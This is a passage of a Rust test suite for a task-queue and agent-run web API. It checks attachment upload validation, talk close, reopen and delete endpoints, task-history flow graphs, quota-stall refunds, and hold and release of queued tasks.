11183 .post(
11184 &format!("/api/talks/{id_a}/say"),
11185 Some(r#"{"text":"again"}"#),
11186 )
11187 .await;
11188 assert_eq!(repeated.status, 202, "{}", repeated.body);
11189 assert_eq!(repeated.json()["pending"], "again");
11190 }
11191
11192 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11195
11196 #[tokio::test]
11197 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11198 let f = Fixture::start().await;
11199 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11200
11201 let res = f
11202 .post_bytes(
11203 &format!("/api/talks/{id}/attachments"),
11204 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11205 PNG_BYTES,
11206 )
11207 .await;
11208 assert_eq!(res.status, 201, "{}", res.body);
11209 let body = res.json();
11210 assert_eq!(body["name"], "shot.png");
11211 assert_eq!(body["mime"], "image/png");
11212 assert_eq!(body["bytes"], PNG_BYTES.len());
11213 let att_id = body["id"].as_str().expect("id").to_owned();
11214 assert_eq!(
11215 att_id.len(),
11216 32,
11217 "the id must never be a client-suppliable path: {att_id}"
11218 );
11219
11220 let got = f
11221 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11222 .await;
11223 assert_eq!(got.status, 200, "{}", got.body);
11224 assert_eq!(got.header("content-type"), Some("image/png"));
11225 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11226 assert_eq!(got.bytes, PNG_BYTES);
11227 }
11228
11229 #[tokio::test]
11230 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11231 let f = Fixture::start().await;
11232 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11233
11234 let svg = f
11237 .post_bytes(
11238 &format!("/api/talks/{id}/attachments"),
11239 &[("Content-Type", "image/svg+xml")],
11240 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11241 )
11242 .await;
11243 assert!(
11244 (400..500).contains(&svg.status),
11245 "svg must be refused: {} {}",
11246 svg.status,
11247 svg.body
11248 );
11249 assert!(svg.body.contains("SVG"), "{}", svg.body);
11250
11251 let text = f
11252 .post_bytes(
11253 &format!("/api/talks/{id}/attachments"),
11254 &[("Content-Type", "text/plain")],
11255 b"just some text",
11256 )
11257 .await;
11258 assert!(
11259 (400..500).contains(&text.status),
11260 "an unlisted type must be refused: {} {}",
11261 text.status,
11262 text.body
11263 );
11264
11265 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11268 let big = f
11269 .post_bytes(
11270 &format!("/api/talks/{id}/attachments"),
11271 &[("Content-Type", "image/png")],
11272 &oversized,
11273 )
11274 .await;
11275 assert_eq!(
11276 big.status,
11277 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11278 "{}",
11279 big.body
11280 );
11281 }
11282
11283 #[tokio::test]
11284 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11285 let f = Fixture::start().await;
11286 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11287
11288 let res = f
11291 .post_bytes(
11292 &format!("/api/talks/{id}/attachments"),
11293 &[("Content-Type", "image/png")],
11294 b"<html>not a picture</html>",
11295 )
11296 .await;
11297 assert!((400..500).contains(&res.status), "{}", res.body);
11298 }
11299
11300 #[tokio::test]
11301 async fn an_unknown_attachment_id_is_a_404() {
11302 let f = Fixture::start().await;
11303 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11304
11305 let res = f
11306 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11307 .await;
11308 assert_eq!(res.status, 404, "{}", res.body);
11309 }
11310
11311 #[tokio::test]
11312 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11313 let f = Fixture::start().await;
11314 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11315
11316 let uploaded = f
11317 .post_bytes(
11318 &format!("/api/talks/{id}/attachments"),
11319 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11320 PNG_BYTES,
11321 )
11322 .await;
11323 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11324 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11325
11326 let res = f
11327 .post(
11328 &format!("/api/talks/{id}/say"),
11329 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11330 )
11331 .await;
11332 assert_eq!(res.status, 202, "{}", res.body);
11333 let queued = res.json();
11334 let turns = queued["turns"].as_array().expect("turns array");
11335 assert_eq!(
11336 turns.len(),
11337 1,
11338 "an empty body with an attachment is still a turn: {queued}"
11339 );
11340 assert_eq!(turns[0]["who"], "operator");
11341 assert_eq!(turns[0]["body"], "");
11342 let atts = turns[0]["attachments"]
11343 .as_array()
11344 .expect("attachments array");
11345 assert_eq!(atts.len(), 1);
11346 assert_eq!(atts[0]["id"], att_id);
11347 assert_eq!(atts[0]["mime"], "image/png");
11348
11349 let on_disk = f.talks().get(&id).expect("get");
11352 assert_eq!(on_disk.turns[0].attachments.len(), 1);
11353 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11354 }
11355
11356 #[tokio::test]
11357 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11358 let f = Fixture::start().await;
11359 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11360
11361 let res = f
11362 .post(
11363 &format!("/api/talks/{id}/say"),
11364 Some(&format!(
11365 r#"{{"text":"hi","attachments":["{}"]}}"#,
11366 "a".repeat(32)
11367 )),
11368 )
11369 .await;
11370 assert!((400..500).contains(&res.status), "{}", res.body);
11371 assert!(res.body.contains("unknown attachment"), "{}", res.body);
11372
11373 let on_disk = f.talks().get(&id).expect("get");
11374 assert!(
11375 on_disk.turns.is_empty(),
11376 "a rejected attachment id must not partially record the turn: {:?}",
11377 on_disk.turns
11378 );
11379 }
11380
11381 #[tokio::test]
11382 async fn talk_close_makes_the_talk_refuse_further_turns() {
11383 let f = Fixture::start().await;
11384 let id = seed_talk(&f, "20260904-014455-cd34", "open");
11385
11386 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11387 assert_eq!(closed.status, 200, "{}", closed.body);
11388 assert_eq!(closed.json()["status"], "closed");
11389
11390 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11392 assert_eq!(closed_again.status, 200);
11393 assert_eq!(closed_again.json()["status"], "closed");
11394
11395 let said = f
11396 .post(
11397 &format!("/api/talks/{id}/say"),
11398 Some(r#"{"text":"too late"}"#),
11399 )
11400 .await;
11401 assert_eq!(said.status, 409, "{}", said.body);
11402 }
11403
11404 #[tokio::test]
11405 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11406 let (_tmp, _repo, f) = talk_fixture().await;
11407 let id = f.post("/api/talks", None).await.json()["id"]
11408 .as_str()
11409 .expect("id")
11410 .to_owned();
11411 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11412 assert_eq!(closed.status, 200, "{}", closed.body);
11413
11414 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11415 assert_eq!(reopened.status, 200, "{}", reopened.body);
11416 assert_eq!(reopened.json()["status"], "open");
11417
11418 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11420 assert_eq!(reopened_again.status, 200);
11421 assert_eq!(reopened_again.json()["status"], "open");
11422
11423 let said = f
11424 .post(
11425 &format!("/api/talks/{id}/say"),
11426 Some(r#"{"text":"still there?"}"#),
11427 )
11428 .await;
11429 assert_eq!(
11430 said.status, 202,
11431 "a reopened talk accepts turns again: {}",
11432 said.body
11433 );
11434 }
11435
11436 #[tokio::test]
11437 async fn talk_reopen_on_an_unknown_id_is_404() {
11438 let f = Fixture::start().await;
11439 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11440 assert_eq!(res.status, 404, "{}", res.body);
11441 }
11442
11443 #[tokio::test]
11444 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11445 let f = Fixture::start().await;
11446 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11447
11448 let deleted = f.delete(&format!("/api/talks/{id}")).await;
11449 assert_eq!(deleted.status, 204, "{}", deleted.body);
11450
11451 let after = f.get(&format!("/api/talks/{id}")).await;
11452 assert_eq!(after.status, 404, "{}", after.body);
11453
11454 let listed = f.get("/api/talks").await.json();
11455 assert!(
11456 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11457 "a deleted talk must not linger in the list: {listed}"
11458 );
11459 }
11460
11461 #[tokio::test]
11462 async fn talk_delete_on_an_unknown_id_is_404() {
11463 let f = Fixture::start().await;
11464 let res = f.delete("/api/talks/nonexistent-id").await;
11465 assert_eq!(res.status, 404, "{}", res.body);
11466 }
11467
11468 #[tokio::test]
11472 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11473 let f = Fixture::start().await;
11474 let (a, b, gone) = (
11475 "20260902-140501-aaaa",
11476 "20260902-140502-bbbb",
11477 "20260902-140503-cccc",
11478 );
11479 write_run(&f.runs(), a, RunStatus::Stalled);
11480 let mut review = RunState::new(
11481 PathBuf::from("/repo/magi"),
11482 "main".to_owned(),
11483 "0123456789abcdef".to_owned(),
11484 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11485 .to_owned(),
11486 Config::default(),
11487 );
11488 review.id = b.to_owned();
11489 review.status = RunStatus::Merged;
11490 write_state(&f.runs(), &review);
11491
11492 let mut task = Task::new(
11493 "retry".to_owned(),
11494 "Do the thing".to_owned(),
11495 PathBuf::from("/repo/magi"),
11496 Source::Human,
11497 );
11498 task.start(a.to_owned());
11499 task.stall("quota");
11500 task.start(a.to_owned());
11501 task.start(b.to_owned());
11502 task.start(gone.to_owned());
11503 f.queue().put(&mut task).expect("file the task");
11504
11505 let res = f.get(&format!("/api/queue/{}", task.id)).await;
11506 assert_eq!(res.status, 200, "{}", res.body);
11507 let v = res.json();
11508 let h = v["history"].as_array().expect("history");
11509 assert_eq!(h.len(), 4, "{v}");
11510 assert_eq!(h[0]["kind"], "competition");
11511 assert_eq!(h[0]["status"], "stalled");
11512 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11513 assert_eq!(h[1]["kind"], "resume", "{v}");
11514 assert!(
11515 h[0]["outcome"]
11516 .as_str()
11517 .unwrap()
11518 .contains("unknown. Pass #2"),
11519 "an earlier pass of a resumed run must not claim the final outcome: {v}"
11520 );
11521 assert!(
11522 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11523 "{v}"
11524 );
11525 assert!(
11526 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11527 "an unrecorded cause must not be narrated as an operator park: {v}"
11528 );
11529 assert_eq!(h[2]["kind"], "review");
11530 assert!(
11531 h[2]["description"]
11532 .as_str()
11533 .unwrap()
11534 .contains("magi/aaaa/A")
11535 );
11536 assert_eq!(h[2]["status"], "merged");
11537 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11538 assert_eq!(v["runs_unreadable"], 1);
11539 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11540 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11541 assert_eq!(nodes[4]["note"], "unreadable");
11542 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11543 assert_eq!(v["instruction"], "Do the thing");
11544 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11545
11546 let run = f.get(&format!("/api/runs/{a}")).await.json();
11548 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11549
11550 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11551 }
11552
11553 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11554 let mut s = RunState::new(
11555 PathBuf::from("/repo/magi"),
11556 "main".to_owned(),
11557 "0123456789abcdef".to_owned(),
11558 "Do it".to_owned(),
11559 Config::default(),
11560 );
11561 s.status = status;
11562 edit(&mut s);
11563 s
11564 }
11565
11566 fn flow_task(runs: &[&str]) -> Task {
11567 let mut t = Task::new(
11568 "t".to_owned(),
11569 "Do it".to_owned(),
11570 PathBuf::from("/repo/magi"),
11571 Source::Human,
11572 );
11573 for r in runs {
11574 t.start((*r).to_owned());
11575 }
11576 t
11577 }
11578
11579 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11580 let h = task_history(task, |id| {
11581 states
11582 .iter()
11583 .find(|(i, _)| *i == id)
11584 .and_then(|(_, s)| s.clone())
11585 });
11586 task_flow(task, &h, 5, None)
11587 }
11588
11589 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11590 crate::queue::FollowUp {
11591 run: "20260901-000000-aaaa".to_owned(),
11592 origin_task: origin_task.map(str::to_owned),
11593 pr: "https://example.com/o/r/pull/1".to_owned(),
11594 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11595 .map(str::to_owned)
11596 .to_vec(),
11597 generation: 1,
11598 }
11599 }
11600
11601 fn parent_task() -> Task {
11602 let mut p = flow_task(&[]);
11603 p.title = "Parent title".to_owned();
11604 p.status = TaskStatus::Done;
11605 p
11606 }
11607
11608 #[test]
11609 fn flow_opens_with_the_parent_task_of_a_followup() {
11610 let p = parent_task();
11611 let pid = p.id.clone();
11612 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11613 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11614 let n = &f.nodes[0];
11615 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11616 assert_eq!(
11617 n.label,
11618 format!("Follow-up of {}", crate::queue::short(&pid))
11619 );
11620 assert_eq!(n.detail.as_deref(), Some("Parent title"));
11621 assert_eq!(n.status, Some("done"));
11622 assert_eq!(n.status_of, "task");
11623 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11624 assert_eq!(f.nodes[1].key, "start");
11625 assert_eq!(f.edges[0].from, "origin");
11626 assert_eq!(
11627 f.edges[0].label,
11628 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11629 );
11630 }
11631
11632 #[test]
11633 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11634 let o = followup_origin(
11635 &fu(Some("gone")),
11636 |_| None,
11637 |_| {
11638 Some(RunState::new(
11639 std::path::PathBuf::from("."),
11640 "main".to_owned(),
11641 "0".to_owned(),
11642 "t".to_owned(),
11643 crate::config::Config::default(),
11644 ))
11645 },
11646 );
11647 assert!(o.parent.is_none());
11648 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11649 let n = &f.nodes[0];
11650 assert_eq!(n.status_of, "run");
11651 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11652 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11653 }
11654
11655 #[test]
11656 fn flow_followup_with_nothing_readable_has_no_link() {
11657 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11658 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11659 let n = &f.nodes[0];
11660 assert_eq!(n.href, None);
11661 assert_eq!(n.note, Some("unreadable"));
11662 assert!(!n.readable);
11663 }
11664
11665 #[test]
11666 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
11667 let o = followup_origin(&fu(None), |_| None, |_| None);
11668 let mut t = flow_task(&[]);
11669 t.origin_chat = Some("c1".to_owned());
11670 let f = task_flow(&t, &[], 5, Some(&o));
11671 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
11672 t.source = Source::Agent {
11673 run: "c1".to_owned(),
11674 node: crate::queue::CHAT_NODE.to_owned(),
11675 };
11676 let f = task_flow(&t, &[], 5, Some(&o));
11677 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
11678 assert_eq!(
11679 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
11680 ("chat", "origin")
11681 );
11682 }
11683
11684 #[test]
11685 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
11686 let mut p = parent_task();
11687 p.id = "a b/c".to_owned();
11688 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
11689 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
11690 }
11691
11692 #[test]
11693 fn flow_opens_with_the_chat_that_queued_the_task() {
11694 let mut t = flow_task(&[]);
11695 t.source = Source::Agent {
11696 run: "a b/c".to_owned(),
11697 node: crate::queue::CHAT_NODE.to_owned(),
11698 };
11699 let f = flow_for(&t, &[]);
11700 assert_eq!(f.nodes[0].key, "chat");
11701 assert_eq!(f.nodes[0].kind, "chat");
11702 assert_eq!(
11703 f.nodes[0].label,
11704 format!("Chat {}", crate::queue::short("a b/c"))
11705 );
11706 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
11707 assert_eq!(f.nodes[1].key, "start");
11708 assert_eq!(
11709 f.edges[0],
11710 FlowEdge {
11711 from: "chat".to_owned(),
11712 to: "start".to_owned(),
11713 label: "queued from chat".to_owned(),
11714 attempt: AttemptCost::None,
11715 }
11716 );
11717 }
11718
11719 #[test]
11720 fn flow_has_no_chat_box_for_other_sources() {
11721 for source in [
11722 Source::Human,
11723 Source::Issue {
11724 number: 3,
11725 repo: "o/r".to_owned(),
11726 },
11727 Source::Agent {
11728 run: "20260904-014455-ab12".to_owned(),
11729 node: "implement".to_owned(),
11730 },
11731 ] {
11732 let mut t = flow_task(&[]);
11733 t.source = source;
11734 let f = flow_for(&t, &[]);
11735 assert_eq!(f.nodes[0].key, "start");
11736 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
11737 assert!(f.edges.iter().all(|e| e.from != "chat"));
11738 }
11739 }
11740
11741 const FA: &str = "20260902-140501-aaaa";
11742 const FB: &str = "20260902-140502-bbbb";
11743
11744 #[test]
11745 fn flow_follows_blocked_retry_merged_to_done() {
11746 let mut t = flow_task(&[FA, FB]);
11747 t.status = TaskStatus::Done;
11748 let f = flow_for(
11749 &t,
11750 &[
11751 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
11752 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
11753 ],
11754 );
11755 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
11756 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
11757 assert_eq!(f.edges.len(), 3);
11758 assert_eq!(f.edges[0].label, "claimed");
11759 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
11760 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11761 assert_eq!(f.edges[2].label, "merged \u{2192} done");
11762 assert_eq!(
11763 f.nodes[2].href.as_deref(),
11764 Some("#/runs/20260902-140502-bbbb")
11765 );
11766 assert!(f.nodes[2].decided);
11767 }
11768
11769 #[test]
11770 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
11771 let quota = || {
11772 flow_run(RunStatus::Stalled, |s| {
11773 s.quota.push(crate::run::QuotaLoss {
11774 seat: "judge-1".to_owned(),
11775 node: "judge".to_owned(),
11776 at: Timestamp::now(),
11777 reset: None,
11778 })
11779 })
11780 };
11781 let mut t = flow_task(&[FA, FA]);
11782 t.status = TaskStatus::Queued;
11783 let f = flow_for(&t, &[(FA, Some(quota()))]);
11784 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
11785 assert_eq!(f.nodes[1].note, Some("interrupted"));
11786 assert_eq!(
11787 f.nodes[1].status, None,
11788 "no outcome copied onto an earlier pass"
11789 );
11790 assert_eq!(
11791 f.edges[1].attempt,
11792 AttemptCost::Unknown,
11793 "a resume does not prove the earlier pass was refunded"
11794 );
11795 assert!(f.edges[1].label.contains("resume the same run"));
11796 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11797 assert_eq!(
11798 f.edges[2].label,
11799 "stalled after a resume, refund unknown \u{2192} queued"
11800 );
11801 assert!(!f.nodes[2].decided, "a stall is not a decision");
11802 assert_eq!(f.nodes[2].note, Some("no verdict"));
11803 }
11804
11805 #[test]
11806 fn flow_single_pass_quota_stall_is_refunded() {
11807 let t = flow_task(&[FA]);
11808 let f = flow_for(
11809 &t,
11810 &[(
11811 FA,
11812 Some(flow_run(RunStatus::Stalled, |s| {
11813 s.quota.push(crate::run::QuotaLoss {
11814 seat: "judge-1".to_owned(),
11815 node: "judge".to_owned(),
11816 at: Timestamp::now(),
11817 reset: None,
11818 })
11819 })),
11820 )],
11821 );
11822 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11823 }
11824
11825 #[test]
11826 fn flow_parked_refunds_and_stall_without_quota_spends() {
11827 let mut t = flow_task(&[FA]);
11828 t.status = TaskStatus::Queued;
11829 let f = flow_for(
11830 &t,
11831 &[(
11832 FA,
11833 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11834 )],
11835 );
11836 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11837 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11838 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11839 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11840 assert!(!f.nodes[1].decided);
11841 }
11842
11843 #[test]
11844 fn flow_keeps_an_unreadable_run_as_its_own_node() {
11845 let t = flow_task(&[FA, FB]);
11846 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11847 assert_eq!(f.nodes[1].note, Some("unreadable"));
11848 assert!(!f.nodes[1].readable);
11849 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11850 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11851 }
11852
11853 #[test]
11854 fn flow_names_the_branch_of_a_review_only_run() {
11855 let t = flow_task(&[FA]);
11856 let f = flow_for(
11857 &t,
11858 &[(
11859 FA,
11860 Some(flow_run(RunStatus::Merged, |s| {
11861 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11862 })),
11863 )],
11864 );
11865 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11866 assert_eq!(
11867 f.nodes[1].detail.as_deref(),
11868 Some("review-only run of branch magi/x/A")
11869 );
11870 }
11871
11872 #[test]
11873 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11874 let mut t = flow_task(&[FA]);
11875 t.status = TaskStatus::Held;
11876 let pr = crate::run::PrRecord {
11877 url: "https://example.test/pr/1".to_owned(),
11878 number: 1,
11879 state: "open".to_owned(),
11880 checks: "green".to_owned(),
11881 round: 0,
11882 rounds: 3,
11883 red_at_merge: Vec::new(),
11884 };
11885 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11886 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11887 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11888 t.status = TaskStatus::Done;
11889 let f = flow_for(&t, &[(FA, Some(blocked))]);
11890 assert_eq!(f.edges[1].label, "closed by hand: task is done");
11891 }
11892
11893 #[test]
11894 fn flow_with_no_runs_goes_from_queued_to_queued() {
11895 let t = flow_task(&[]);
11896 let f = flow_for(&t, &[]);
11897 assert_eq!(f.nodes.len(), 2);
11898 assert_eq!(f.edges.len(), 1);
11899 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11900 assert_eq!(f.edges[0].attempt, AttemptCost::None);
11901 }
11902
11903 #[test]
11906 fn a_parked_non_terminal_run_is_explained_as_parked() {
11907 let mut s = RunState::new(
11908 PathBuf::from("/repo/magi"),
11909 "main".to_owned(),
11910 "0123456789abcdef".to_owned(),
11911 "Do it".to_owned(),
11912 Config::default(),
11913 );
11914 s.status = RunStatus::Implementing;
11915 s.parked = true;
11916 let task = Task::new(
11917 "t".to_owned(),
11918 "Do it".to_owned(),
11919 PathBuf::from("/repo/magi"),
11920 Source::Human,
11921 );
11922 let v = task_run_view(
11923 "20260902-140501-aaaa",
11924 Some(&s),
11925 RunSlot {
11926 n: 1,
11927 resumed: false,
11928 resumed_later: None,
11929 prior: None,
11930 last: true,
11931 },
11932 &task,
11933 );
11934 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11935 }
11936
11937 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11938 let mut s = flow_run(RunStatus::Implementing, edit);
11939 s.parked = false;
11940 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11941 task_run_view(
11942 "20260902-140501-aaaa",
11943 Some(&s),
11944 RunSlot {
11945 n: 1,
11946 resumed: false,
11947 resumed_later: Some(2),
11948 prior: None,
11949 last: false,
11950 },
11951 &task,
11952 )
11953 }
11954
11955 #[test]
11956 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11957 let v = earlier_pass_view(|_| {});
11958 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11959 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11960 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11961 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11962 assert_eq!(v.exit, RunExit::Interrupted);
11963 assert_eq!(v.attempt, AttemptCost::Unknown);
11964 }
11965
11966 #[test]
11967 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11968 let v = earlier_pass_view(|s| {
11969 s.quota.push(crate::run::QuotaLoss {
11970 seat: "judge-1".to_owned(),
11971 node: "judge".to_owned(),
11972 at: Timestamp::now(),
11973 reset: None,
11974 });
11975 });
11976 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11977 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11978 assert_eq!(v.attempt, AttemptCost::Unknown);
11979 }
11980
11981 #[test]
11982 fn the_current_pass_states_its_recorded_cause_and_cost() {
11983 let slot = || RunSlot {
11984 n: 1,
11985 resumed: false,
11986 resumed_later: None,
11987 prior: None,
11988 last: true,
11989 };
11990 let task = flow_task(&["20260902-140501-aaaa"]);
11991 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11992 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11993 assert_eq!(
11994 (v.exit, v.attempt),
11995 (RunExit::Parked, AttemptCost::Refunded)
11996 );
11997 let spent = flow_run(RunStatus::Blocked, |_| {});
11998 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11999 assert_eq!(v.attempt, AttemptCost::Spent);
12000 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12001 }
12002
12003 #[tokio::test]
12004 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12005 let f = Fixture::start().await;
12006 let queue = f.queue();
12007 let mut task = Task::new(
12008 "spent".to_owned(),
12009 "Try again".to_owned(),
12010 PathBuf::from("/repo/magi"),
12011 Source::Human,
12012 );
12013 task.start("20260902-140502-bbbb".to_owned());
12014 task.fail("agent gave up", 9);
12015 queue.put(&mut task).expect("file the task");
12016
12017 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12018 assert_eq!(held.status, 200);
12019 assert_eq!(held.json()["status_str"], "held");
12020
12021 let released = f
12022 .post(&format!("/api/queue/{}/release", task.id), None)
12023 .await;
12024 assert_eq!(released.status, 200);
12025 assert_eq!(released.json()["status_str"], "queued");
12026 assert_eq!(
12027 released.json()["attempts"],
12028 0,
12029 "release is a real second chance, not an instant re-hold"
12030 );
12031 assert_eq!(
12032 queue.get(&task.id).expect("reload").status,
12033 TaskStatus::Queued,
12034 "the change is on disk, not only in the reply"
12035 );
12036 assert!(
12037 !f.home
12038 .path()
12039 .join("queue")
12040 .join(format!("{}.lock", task.id))
12041 .exists(),
12042 "the claim the mutation took is released again"
12043 );
12044 }
12045
12046 #[tokio::test]
12047 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12048 let f = Fixture::start().await;
12049 let queue = f.queue();
12050 let mut task = Task::new(
12051 "busy".to_owned(),
12052 "Running right now".to_owned(),
12053 PathBuf::from("/repo/magi"),
12054 Source::Human,
12055 );
12056 queue.put(&mut task).expect("file the task");
12057 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12058
12059 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12060
12061 assert_eq!(res.status, 409);
12062 assert_eq!(
12063 queue.get(&task.id).expect("reload").status,
12064 TaskStatus::Queued,
12065 "the refused hold changed nothing"
12066 );
12067 }
12068
12069 #[tokio::test]
12070 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12071 let f = Fixture::start().await;
12072 let queue = f.queue();
12073 let mut task = Task::new(
12074 "waiting on the migration".to_owned(),
12075 "Do the thing".to_owned(),
12076 PathBuf::from("/repo/magi"),
12077 Source::Human,
12078 );
12079 queue.put(&mut task).expect("file the task");
12080
12081 let held = f
12082 .post(
12083 &format!("/api/queue/{}/hold", task.id),
12084 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12085 )
12086 .await;
12087 assert_eq!(held.status, 200, "{}", held.body);
12088 assert_eq!(held.json()["status_str"], "held");
12089 assert_eq!(
12090 held.json()["hold_reason"],
12091 "waiting for 20260101-000000-aaaa to land"
12092 );
12093
12094 let listed = f.get("/api/queue").await.json();
12095 assert_eq!(
12096 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12097 "the card reads the reason off the same list route"
12098 );
12099
12100 let mut plain = Task::new(
12103 "no reason given".to_owned(),
12104 "Do another thing".to_owned(),
12105 PathBuf::from("/repo/magi"),
12106 Source::Human,
12107 );
12108 queue.put(&mut plain).expect("file the task");
12109 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12110 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
